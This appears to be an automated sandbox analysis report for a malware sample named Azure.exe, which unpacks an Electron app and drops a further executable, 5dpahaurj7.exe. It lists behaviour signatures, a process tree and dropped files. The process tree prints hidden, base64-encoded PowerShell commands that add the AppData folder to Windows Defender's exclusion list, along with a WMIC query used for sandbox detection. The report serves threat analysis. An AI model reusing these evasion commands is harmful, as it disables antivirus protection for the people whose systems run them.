Analysis

  • max time kernel
    150s
  • max time network
    161s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 11:29

General

  • Target
    Azure.exe
  • Size 100.7MB
  • Sample260804-nlx3dayere
  • SHA256 3246e682c5ebee6ba6e1061bbbdd03ddc7704331fab51afa1d68bc4b986dff63
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 11 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Azure.exe
    "C:\Users\Admin\AppData\Local\Temp\Azure.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5424
    • C:\Users\Admin\AppData\Local\Temp\lnn6zeds0q2v6gh6\CixegiNet.exe
      C:\Users\Admin\AppData\Local\Temp\lnn6zeds0q2v6gh6\CixegiNet.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5904
      • C:\Users\Admin\AppData\Local\Temp\lnn6zeds0q2v6gh6\CixegiNet.exe
        "C:\Users\Admin\AppData\Local\Temp\lnn6zeds0q2v6gh6\CixegiNet.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\cixeginet-3ct5hi" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1760,i,8164123237120696018,6555815331466776845,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --disable-logging --mojo-platform-channel-handle=1752 /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:5736
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /format:list"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3960
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path win32_VideoController get name /format:list
          4⤵
          • Detects videocard installed
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JAB0AGEAcgBnAGUAdAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAJwA7ACAAdAByAHkAIAB7ACAAJABsAGkAcwB0ACAAPQAgACgARwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAApAC4ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAA7ACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAbABpAHMAdAApACAAewAgACQAZgBhAGwAcwBlACAAfQAgAGUAbABzAGUAIAB7ACAAKAAkAGwAaQBzAHQAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4AVABvAEwAbwB3AGUAcgAoACkAIAAtAGUAcQAgACQAdABhAHIAZwBlAHQALgBUAG8ATABvAHcAZQByACgAKQAgAH0AKQAuAEMAbwB1AG4AdAAgAC0AZwB0ACAAMAAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgACQAZgBhAGwAcwBlACAAfQA=
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:692
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA==
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3216
      • C:\Users\Admin\AppData\Local\Temp\lnn6zeds0q2v6gh6\CixegiNet.exe
        "C:\Users\Admin\AppData\Local\Temp\lnn6zeds0q2v6gh6\CixegiNet.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\cixeginet-3ct5hi" --field-trial-handle=1972,i,8164123237120696018,6555815331466776845,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --disable-logging --mojo-platform-channel-handle=1588 /prefetch:11
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:4688
      • C:\Users\Admin\AppData\.75raxs0b\5dpahaurj7.exe
        C:\Users\Admin\AppData\.75raxs0b\5dpahaurj7.exe
        3⤵
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        PID:5000

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        5dpahaurj7.exe

        • Path C:\Users\Admin\AppData\.75raxs0b\5dpahaurj7.exe
        • Size 3.3MB
        • SHA256 cb1372902c88261672b11235cb094abed51db086f0568f4600aebf55748c69da
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_ndagrid1.oay.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ndagrid1.oay.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        LICENSE.electron.txt

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\LICENSE.electron.txt
        • Size 1KB
        • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
        • MD5 SHA1 SHA512 TLSH

        LICENSES.chromium.html

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\LICENSES.chromium.html
        • Size 8.7MB
        • SHA256 c6080d60736384a4a8fdd23404d59ae2d939e5124d80df89f8fd4e450bb9bd6f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_100_percent.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\chrome_100_percent.pak
        • Size 148KB
        • SHA256 a659ee9eb38636f85f5336587c578fb29740d3effaff9b92852c8a210e92978c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_200_percent.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\chrome_200_percent.pak
        • Size 223KB
        • SHA256 2c1b3e4b8a0cf837ae0a390fca54f45d7d22418e040f1dfea979622383acced6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        d3dcompiler_47.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\d3dcompiler_47.dll
        • Size 4.7MB
        • SHA256 af7b99be1b8770c0e4d18e43b04e81d11bdeb667fa6b07ade7a88f4c5676bf9a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ffmpeg.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\ffmpeg.dll
        • Size 2.8MB
        • SHA256 4fcdedbc68eae4b4cfe0eed275316fdf66c9d4a57a98d29a77d0e8f4149cfcbc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        icudtl.dat

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\icudtl.dat
        • Size 10.0MB
        • SHA256 9ae98c06cbb0ea43c5cd6b5725310c008c65e46072421a1118cb88e1de9a8b92
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libEGL.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\libEGL.dll
        • Size 481KB
        • SHA256 d9d2f5b5fae60a63523f92c07539dd93893ff7d9ffa41f0bb57caca4be9f2220
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libGLESv2.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\libGLESv2.dll
        • Size 8.0MB
        • SHA256 4b4dcbc7bb19449ec89d2bf06e7b05af9352a4e6f97f4444183dc3080e6c0f1d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        af.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\af.pak
        • Size 520KB
        • SHA256 c56cb2841ee2e40fbdd6b7e293a1ce74bd10fd500465fcf99d1e07f8d69f8ce7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        am.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\am.pak
        • Size 840KB
        • SHA256 49a2095ad9ffac0b7ffaadba64d2c2b51a05e0695e21d1c428735485757bd11c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ar.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ar.pak
        • Size 921KB
        • SHA256 817829ad75dbc7d59b5042d7f056fa2485f82d1ae2af50ed83fd89f86f3d58fc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        bg.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\bg.pak
        • Size 959KB
        • SHA256 f08de6909faf88465c28388aa03fdf08e165866a5a23c738ed33382275c4ec83
        • MD5 SHA1 SHA512 SSDEEP TLSH

        bn.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\bn.pak
        • Size 1.2MB
        • SHA256 5a57265ebac6df683f0279684909755ad71ea70fea71c6ecc1810eac61d1cb3d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ca.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ca.pak
        • Size 584KB
        • SHA256 bc2b7d6a769c69b27a81cc09a1babd4ccaf003fae32f8294a38e498f2c529c89
        • MD5 SHA1 SHA512 SSDEEP TLSH

        cs.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\cs.pak
        • Size 602KB
        • SHA256 db040e9f17d2792801c07a7bb3ac96c21d8189c98e9ab34210c5888b2ee53aa1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        da.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\da.pak
        • Size 545KB
        • SHA256 e32681cdd03db28eb360b1b4203c2988190b7b6f77679ca807cd95a1967ded04
        • MD5 SHA1 SHA512 SSDEEP TLSH

        de.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\de.pak
        • Size 582KB
        • SHA256 4f123245b062d71d56819ac1198d13a3d7953decd4491fca0fbd22c5e129c3bd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        el.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\el.pak
        • Size 1.0MB
        • SHA256 b8707f2511c4ec5533077009771f3aa92b0fb5b395b13907f5860a9151b2431d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        en-GB.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\en-GB.pak
        • Size 474KB
        • SHA256 3bf7e7e02c40dac55ce9bd5b4789eaa99e57271b2d907a5ce2ca90b979a58c39
        • MD5 SHA1 SHA512 SSDEEP TLSH

        en-US.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\en-US.pak
        • Size 478KB
        • SHA256 75db989561e145d0d990c4918502316c77ce66b344d3dce4739e3a6db43fde82
        • MD5 SHA1 SHA512 SSDEEP TLSH

        es-419.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\es-419.pak
        • Size 575KB
        • SHA256 4dedec1ac933c73773b1e54caab1c4d606d12f3788cbeef4d6a2a382138cc907
        • MD5 SHA1 SHA512 SSDEEP TLSH

        es.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\es.pak
        • Size 575KB
        • SHA256 a32221be9b65aead3fa779dc54e5ca483a7d73c4815e5c7c3b53711f560bd301
        • MD5 SHA1 SHA512 SSDEEP TLSH

        et.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\et.pak
        • Size 523KB
        • SHA256 a4d1fe9903641540b11e0d00e574a6665a1602ad81f6aae9a083ebd04bc768c7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        fa.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\fa.pak
        • Size 855KB
        • SHA256 ef9e5b71063c26b1a5d512f5e14c3f7fe5a1925ff25ca799c51f8073c33bb90a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        fi.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\fi.pak
        • Size 534KB
        • SHA256 93c49ec40accea8e1f4f9b7db68b9b818f8db0b7591cea67ae9bf663c1c57728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        fil.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\fil.pak
        • Size 604KB
        • SHA256 9b69d82f50c159d1ec5603ef45dc139143b4f05761f38f263a66fffedd28ff5e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        fr.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\fr.pak
        • Size 622KB
        • SHA256 8bf019aed30d972883d5c29d3f44c8b0d8fc6425ab48ae3354d71e4762a0cf01
        • MD5 SHA1 SHA512 SSDEEP TLSH

        gu.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\gu.pak
        • Size 1.2MB
        • SHA256 1adaaacf2f9ab872fb35932fd1ed3b005f370f0ec22b95b42039b4c58660675c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        he.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\he.pak
        • Size 751KB
        • SHA256 df1b83384ad42d4ca9f47aebc909baa8a6dde79fa1b0706023a279698e302e89
        • MD5 SHA1 SHA512 SSDEEP TLSH

        hi.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\hi.pak
        • Size 1.3MB
        • SHA256 f73ccac3debba20fb225209805ff2383609853111f931e6b82095c1eb56a6ce4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        hr.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\hr.pak
        • Size 581KB
        • SHA256 630277358f658c9c39a775dee247f38ac0a0a618a5645260f445ac89d7ac7a46
        • MD5 SHA1 SHA512 SSDEEP TLSH

        hu.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\hu.pak
        • Size 625KB
        • SHA256 ec81ac981af0e962654ad4f65030064a6369dc2316cb1b10bb24b473808ad1e9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        id.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\id.pak
        • Size 516KB
        • SHA256 aeb815a3dc6ce3cd1edf2c158a3b16e9c8039af25752367bf13826516a295cb9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        it.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\it.pak
        • Size 567KB
        • SHA256 1b16b0af558629dd53e35d1b4bb7b18dc1d8cb5353a4261112d2cd3b0a4c55ea
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ja.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ja.pak
        • Size 691KB
        • SHA256 b2afe7e5f6ebba31248ea00a157c9f5752cd6855194a0d122b3a6c90a1d9be83
        • MD5 SHA1 SHA512 SSDEEP TLSH

        kn.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\kn.pak
        • Size 1.4MB
        • SHA256 4e323def774ac53daf99d2075878456d8885c3380c7895ecf3ab10a2953d532a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ko.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ko.pak
        • Size 585KB
        • SHA256 dc1d4b203674269f00aeb303f74e2948bc74e5956b1770acd2fbb517ad4274a2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        lt.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\lt.pak
        • Size 629KB
        • SHA256 9fe73d75dd155d0bda60a638b8f8d48048d17fadfd2d746bac597e5ac3b7f6dd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        lv.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\lv.pak
        • Size 628KB
        • SHA256 5c74465b83cef9aae45a6b61499e79b745a91a6038fdd61a3321425056f77b5b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ml.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ml.pak
        • Size 1.4MB
        • SHA256 67d9ae2dbfecdfddc4c23a206828010c6d42b8094477a03ce04b60a8d110eea2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        mr.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\mr.pak
        • Size 1.2MB
        • SHA256 7181c3bc7a369d2d0b8ae6c1cf8f160603ec56996d20b266833edc3acce4c78e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ms.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ms.pak
        • Size 541KB
        • SHA256 6a3ced7828f0608297da29c99832a389ec9d0d03060ddb20304cd081be494adb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        nb.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\nb.pak
        • Size 525KB
        • SHA256 697882ac2da78894e449cb1f75da43e7115c2481bbd2fee3bdaa425e82fc232c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        nl.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\nl.pak
        • Size 543KB
        • SHA256 ac22005c476adbb7f3bcf0b17597a7a1595b83c4e6a8760d5553b630f0833305
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pl.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\pl.pak
        • Size 604KB
        • SHA256 e8a107b3568a289a6e60118e4b8e2f27338116dafcef078311bc16f0857b1f35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pt-BR.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\pt-BR.pak
        • Size 567KB
        • SHA256 1c0d67a4259df36655aa97761e71e02bb0407e7bb1fe1319394e0916c7d76f7f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pt-PT.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\pt-PT.pak
        • Size 571KB
        • SHA256 9ebafb943bf20c66f8d9ca533633fdc63519e8ad38d78a3dd28b4457c38ba79d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ro.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ro.pak
        • Size 592KB
        • SHA256 cf59cd7c26cfe3d87ed2b3a2ef254c3a3667824bbf06cd591bfc9dbf2a83ab91
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ru.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ru.pak
        • Size 972KB
        • SHA256 2d682d4a3ee1157085086c839cf55e500ec1d1674f66be7088eb25768a30c7a1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sk.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\sk.pak
        • Size 611KB
        • SHA256 347196c447db2926f9e410905ff47fc0900ca97645e43236ba3b49f0550cfa24
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sl.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\sl.pak
        • Size 587KB
        • SHA256 e8b877b4830b3a1163618107342e55756efe494adcdc82d10d963ad900b9f572
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sr.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\sr.pak
        • Size 903KB
        • SHA256 6f3d0c4ea29880624f07f0f794a6ea1ef735255dc218a241be1557331ebc3c28
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sv.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\sv.pak
        • Size 528KB
        • SHA256 d6ad9726da354174df5eb7ea3ceba202df17936c5075a4b8e096de35f1abbe42
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sw.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\sw.pak
        • Size 557KB
        • SHA256 434879a83079fba562af9dac928ad2fcc1033e0a6a5a1f4822d36e710decdd2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ta.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ta.pak
        • Size 1.4MB
        • SHA256 0e1d7c0fa1eab312b42ff5e8978b7146d6cac313603fcaf101bef2eedc70313b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        te.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\te.pak
        • Size 1.3MB
        • SHA256 1faa8cb780908552f3ca0d2b0e20eb6aaa902cb5bd759c18ed1238beb0bb34dd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        th.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\th.pak
        • Size 1.1MB
        • SHA256 9210c77f0024c705018f5292b3021d3eca58bb290604b116e2d4e355b8ebfc59
        • MD5 SHA1 SHA512 SSDEEP TLSH

        tr.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\tr.pak
        • Size 567KB
        • SHA256 25d1667b691b5a950b8b42652f7763338cfd238b22d6bd35a5c38da8cb73a67a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        uk.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\uk.pak
        • Size 972KB
        • SHA256 017e34397fd52f4e42bb99ab1d7c4624055312a16d58da03aafffdcae770aecd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ur.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\ur.pak
        • Size 850KB
        • SHA256 ace832351fb9392fc308730ff74e5063caefe9903c5a01d9083a3ddf2ba93755
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vi.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\vi.pak
        • Size 673KB
        • SHA256 536538d1704c7b23d3b21beddcd4669151de276d259a9ea7192132696e54e146
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zh-CN.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\zh-CN.pak
        • Size 484KB
        • SHA256 6446826e1e9f38f06ab85bf2abe05af88fa7fd5c636c2c74aa2b989c458b879b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zh-TW.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\locales\zh-TW.pak
        • Size 479KB
        • SHA256 514d6a95fc7094ff00cb7700bca2b10191df866c18c551e1d2c07050ddee80bf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        resources.pak

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources.pak
        • Size 5.5MB
        • SHA256 ffaeea94c6594d4e66fc523c218c161c58aee1f59b9cb006bbb45d9a49e3a6a1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app-246v3eze.res

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app-246v3eze.res
        • Size 3.3MB
        • SHA256 43015a9570edfdb134c6a63b7703b915d7d701373f6c0eb3b94048dd42169848
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.asar

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar
        • Size 260KB
        • SHA256 070aec8c5d04774bb4125ead9a53abde0f44ec8fa1118fa439faedf6c15fa0b1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7x.sh

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\7x.sh
        • Size 235B
        • SHA256 ad693686d24184b7bc49fc357b93fca63d35a62d6509b7225252d7f18701f49a
        • MD5 SHA1 SHA512 TLSH

        LICENSE.txt

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\LICENSE.txt
        • Size 1KB
        • SHA256 e9f2248a07935f444c613d84e5a0239eab7537a80cc02212f386662f0ded0e11
        • MD5 SHA1 SHA512 TLSH

        index.js

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\index.js
        • Size 500B
        • SHA256 48659f660a13b5fa01622f87dc8a5306ce7c232abf93b82a3b2f6e94c2cf5c86
        • MD5 SHA1 SHA512 TLSH

        7za

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\linux\arm64\7za
        • Size 1.1MB
        • SHA256 d363b0055afb4f7f336152dd5d00f1cc992d6e86a56e4a1ec84b2ac26dee27ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7za

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\linux\arm\7za
        • Size 983KB
        • SHA256 3a68d5c794bb8534040f3f93480a7fe8194bf5ed8e0d3e2ac0de4dea9677a64c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7za

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\linux\ia32\7za
        • Size 1.6MB
        • SHA256 8400fe1f78c7033ddf16f55b82c3a520a91c424a29d5163c45c6e085c5834373
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7za

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\linux\x64\7za
        • Size 1.4MB
        • SHA256 afc9448bd0cc2eeda131cce313ef4994f9656417e0a15c8465fcda9ca859b280
        • MD5 SHA1 SHA512 SSDEEP TLSH

        build.sh

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\linux\x64\build.sh
        • Size 266B
        • SHA256 0ec26a7d575cc22ef6dd2fc6f35e9240593190faf20b7f76b3f4bbd2b7eab5fb
        • MD5 SHA1 SHA512 TLSH

        do-build.sh

        • Path C:\Users\Admin\AppData\Local\Temp\nsgD151.tmp\7z-out\resources\app.asar.unpacked\node_modules\7zip-bin\linux\x64\do-build.sh
        • Size 646B
